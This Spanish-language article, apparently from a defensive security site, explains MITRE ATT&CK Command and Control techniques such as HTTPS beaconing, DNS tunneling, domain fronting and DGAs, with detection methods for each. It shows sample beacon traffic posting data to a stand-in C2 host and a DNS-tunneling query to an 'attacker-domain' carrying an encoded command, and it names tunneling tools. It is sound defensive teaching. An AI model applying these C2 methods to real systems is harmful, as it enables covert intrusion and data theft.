Command and Control (TA0011): Comunicación con Sistemas Comprometidos
Análisis completo de la táctica Command and Control de MITRE ATT&CK (TA0011): técnicas C2 que usan los atacantes para comunicarse con sistemas comprometidos. HTTPS beaconing, DNS tunneling, protocol tunneling, domain fronting, y detección de cada patrón.
Command and Control es el canal que mantiene al atacante conectado con los sistemas comprometidos
La táctica Command and Control (TA0011) documenta las técnicas que los adversarios usan para comunicarse con los sistemas bajo su control. Sin C2, un atacante pierde la capacidad de enviar comandos, recibir datos y coordinar el ataque. El desafío para el atacante es mantener comunicación fiable y sigilosa que no sea detectada ni bloqueada por las defensas de red.
Técnicas por protocolo
T1071: Application Layer Protocol
El C2 se camufla como tráfico de aplicación legítimo.
T1071.001: Web Protocols (HTTP/HTTPS)
El protocolo C2 más utilizado. Frameworks como Cobalt Strike, Sliver, Brute Ratel y Havoc usan HTTPS por defecto.
Patrón de beaconing:
Beacon Cobalt Strike típico:
Intervalo: 60 segundos (configurable)
Jitter: 20% (±12 segundos)
Método: HTTPS GET para check-in, POST para enviar datos
User-Agent: configurable (imita navegador real)
URI: /api/v1/status, /updates/check, /news/feed (configurable)
Tráfico resultante:
09:00:00 → GET https://c2.example.com/api/status (check-in)
09:01:02 → GET https://c2.example.com/api/status
09:01:58 → GET https://c2.example.com/api/status
09:03:05 → POST https://c2.example.com/api/data (envío datos)
...
Detección:
- Beacon pattern analysis: identificar intervalos regulares con jitter en conexiones a la misma IP/dominio
- JA3/JA3S fingerprint: hash del TLS handshake que identifica el cliente. Cobalt Strike tiene JA3 conocidos
- Domain age: dominios C2 frecuentemente registrados < 30 días
- Certificate analysis: certificados self-signed o de CAs poco comunes
- SNI mismatch: Server Name Indication no coincide con el certificado
- Tráfico fuera de horario: beaconing continuo a las 3 AM desde endpoint de usuario
T1071.004: DNS
DNS como canal C2: los comandos y datos se codifican en queries DNS.
Consulta legítima:
query: www.google.com → A record
Consulta C2 (DNS tunneling):
query: aGVsbG8gd29ybGQ.data.attacker-domain.com → TXT record
^^^^^^^^^^^^^^^^
datos codificados en base32/base64 como subdominio
Respuesta C2:
TXT: "Y29tbWFuZDogd2hvYW1p" (comando codificado)
Detección:
- DNS entropy: subdominios con entropy alta (base32/64 encoded)
- Query length: consultas DNS anormalmente largas (> 50 chars)
- TXT record volume: alto volumen de consultas TXT a un solo dominio
- NXDomain ratio: muchas consultas a dominios inexistentes (DGA)
- DNS over HTTPS (DoH): tráfico HTTPS al puerto 443 de resolvers conocidos (8.8.8.8, 1.1.1.1)
T1573: Encrypted Channel
Cifrado adicional sobre el protocolo de transporte.
| Sub-técnica | Método | Nota |
|---|---|---|
| T1573.001: Symmetric | AES, RC4 sobre HTTP | Tráfico cifrado dentro de HTTP (no HTTPS) |
| T1573.002: Asymmetric | RSA, ECDH key exchange | Key exchange para sesión cifrada |
Detección: inspección TLS (TLS interception proxy) para ver contenido. Sin inspección, solo metadata analysis.
T1572: Protocol Tunneling
Encapsular C2 dentro de otro protocolo.
| Método | Protocolo túnel | Herramientas |
|---|---|---|
| DNS tunneling | DNS | dnscat2, Cobalt Strike DNS beacon |
| ICMP tunneling | ICMP | icmpsh, ptunnel |
| SSH tunneling | SSH | ssh -R, chisel |
| HTTP tunneling | HTTP | reGeorg, Neo-reGeorg, Chisel |
Detección: volumen anómalo de ICMP, tamaño de paquetes ICMP inconsistente, SSH a hosts externos no habituales.
T1090: Proxy
Uso de proxies intermedios para ocultar la ubicación del C2.
| Sub-técnica | ID | Método |
|---|---|---|
| Internal Proxy | T1090.001 | Pivoting a través de host comprometido |
| External Proxy | T1090.002 | CDN, cloud functions como redirector |
| Multi-hop Proxy | T1090.003 | Cadena de proxies (Tor, VPN chain) |
| Domain Fronting | T1090.004 | CDN fronting: SNI apunta a CDN legítimo, Host header al C2 |
Domain fronting: la conexión TLS va a cloudfront.net (legítimo), pero el Host header interno redirige a attacker.cloudfront.net. El tráfico parece ir a Amazon CloudFront.
Detección: comparar SNI con Host header (requiere inspección TLS), bloquear dominios CDN sospechosos.
T1105: Ingress Tool Transfer
Descargar herramientas adicionales al sistema comprometido post-acceso. No es C2 puro pero usa el mismo canal.
Detección: binarios nuevos descargados a ubicaciones temporales, especialmente desde IPs/dominios sin historial.
T1104: Multi-Stage Channels
Usar diferentes canales C2 en diferentes fases:
- Stage 1: DNS para C2 inicial (sigiloso, lento)
- Stage 2: HTTPS para operaciones (rápido, más datos)
- Stage 3: canal backup si el principal se bloquea
T1102: Web Service
Usar servicios web legítimos como C2:
- GitHub/GitLab (issues, comments, gists como canal)
- Slack/Discord/Telegram (bots como C2)
- Google Docs/Sheets (documento compartido como dead drop)
- Pastebin (comandos publicados como paste)
- Cloud storage (Dropbox, OneDrive como staging)
Detección: difícil porque el tráfico va a servicios legítimos. Requiere inspección de contenido o behavioral analysis (patrón de acceso anómalo a GitHub desde servidor de producción).
T1571: Non-Standard Port
Usar puertos no estándar para protocolos C2: HTTPS en puerto 8443, 444, 8080. O protocolos custom en puertos altos.
Detección: conexiones salientes a puertos no estándar, especialmente desde servidores.
T1568: Dynamic Resolution
Resolver la dirección del C2 dinámicamente:
| Sub-técnica | Método | Detección |
|---|---|---|
| T1568.001: Fast Flux DNS | IP del dominio cambia cada minuto | Múltiples IPs para un dominio en poco tiempo |
| T1568.002: Domain Generation Algorithm (DGA) | Generar dominios algorítmicamente | Consultas a dominios con aspecto aleatorio, alto NXDomain |
| T1568.003: DNS Calculation | Calcular dominio/IP basado en inputs | Similar a DGA |
DGA detection: machine learning sobre nombres de dominio (entropy, ratio consonantes/vocales, bigram frequency). Los dominios DGA tienen patrones estadísticos detectables.
Top C2 frameworks y sus indicadores
| Framework | Protocolo default | JA3 conocido | Named pipes |
|---|---|---|---|
| Cobalt Strike | HTTPS | Sí (múltiples) | \MSSE-, \postex_, \status_* |
| Sliver | mTLS, HTTP, DNS | Sí | Configurable |
| Brute Ratel C4 | HTTPS, DNS | Sí | Configurable |
| Havoc C2 | HTTPS | Sí | Configurable |
| Mythic | HTTP, TCP | Varía por agent | Varía |
| Meterpreter | TCP, HTTP, HTTPS | Sí | Configurable |
Estrategia de detección C2
Capa 1: Network metadata
Sin inspeccionar contenido: domain age, JA3 fingerprint, beacon pattern, DNS anomalies, certificate analysis.
Capa 2: TLS inspection
Con proxy de inspección: analizar payload HTTP, detectar patrones de beacon, identificar comandos C2.
Capa 3: Endpoint
Sysmon Event 3 (conexiones), Event 22 (DNS queries), named pipes (Event 17/18), procesos con conexiones persistentes.
Capa 4: Threat intelligence
IOC feeds con IPs/dominios C2 conocidos, JA3 hashes de frameworks C2, reglas Suricata/Snort.
Conclusión
Command and Control es el cordón umbilical del atacante. HTTPS beaconing, DNS tunneling y web services como C2 son las técnicas dominantes. La detección requiere análisis de metadata de red (beacon patterns, JA3, domain age), inspección TLS donde sea posible, y monitorización de endpoint. Cortar el C2 aísla al atacante del sistema comprometido. La siguiente táctica, Exfiltration, usa frecuentemente el mismo canal C2 para extraer datos.
Fuentes y referencias
- MITRE ATT&CK: Command and Control (TA0011)
- Salesforce: JA3 TLS fingerprinting
- SANS: "Detecting C2 Frameworks" (2024)
- Elastic: "Identifying Beaconing Malware" (2023)
- Fox-IT: "Cobalt Strike Beacon Detection" research
Preguntas frecuentes
Artículos relacionados
Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.